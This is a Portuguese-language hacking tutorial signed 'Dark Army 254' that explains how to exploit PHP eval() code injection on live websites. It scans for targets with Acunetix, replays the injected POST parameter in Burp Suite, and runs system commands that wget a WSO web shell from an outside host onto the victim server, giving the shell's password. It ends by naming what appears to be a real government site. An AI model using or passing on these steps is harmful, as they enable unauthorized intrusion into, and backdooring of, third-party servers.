PHP Code Injection

[Dark Army 254]

O que é?

 

A injeção de código PHP é uma vulnerabilidade que permite que um invasor injete código personalizado no mecanismo de script do servidor, essa vulnerabilidade ocorre quando um invasor pode controlar toda ou parte de uma sequência de entrada que é alimentada em uma chamada de função eval(). Eval executará o argumento como código.

 

*Programas Necessários*
Acutenix 
Burpsuite

 

1. Procure um site com essa vulnerabilidade, utilizando o Acutenix, quando ele achar, ele vai mostrar, como demonstra abaixo:

 

2. Veja o diretório da falha, no caso é: /analitics/piwik.php/analitics
O post data que é enviado: page=%24%7b%40print(md5(acunetix_wvs_security_test))%7d&referrer=http://www.site.com.br/

 

Agora vamos ao BurpSuite.

*Lembrando, faça a configuração do proxy no Firefox, etc..*
*Creio que você já sabe disso.*

 

Entre no site com o dir da falha pelo Firefox, exemplo: http://www.site.com.br/analitics/piwik.php/analitics e vai no BurpSuite, e clique em "Forward", entre em HTTP History, vá ao site, e clique com botão direito, e clique em Send Repeater.

 

3. Clique em SEND, agora em RAW, coloque o post data do acutenix.
page=%24%7b%40print(md5(acunetix_wvs_security_test))%7d&referrer=http://www.site.com.br/

 

E mude de GET para POST.

 

Se tudo tiver indo bem, vai ficar igual na imagem abaixo:

 

Agora vamos começar a "invasão".

Clique em "Params" e modifique o page, vai está assim: %24%7b%40print(md5(acunetix_wvs_security_test))%7d
Coloque: ${system('pwd')}

 

Vai retornar: /home/var/www/site.com.br/public_html/analitics

 

Agora coloque: cd .. && wget https://txt.731my.com/wso.txt -O teste00.php

O comando vai ficar: ${system('cd .. && wget https://txt.731my.com/wso.txt -O teste00.php')}

*Pode mudar de shell, caso queira, a senha dessa shell é root*

 

Se a invasão for bem sucedida, vai no site e coloque o nome teste00.php no final.

Exemplo: www.site.com.br/teste00.php, caso for bem sucedido, vai entrar, fique a vontade para se divertir :)

 

*Extra:*
http://www.saosebastiao.sp.leg.br/web.php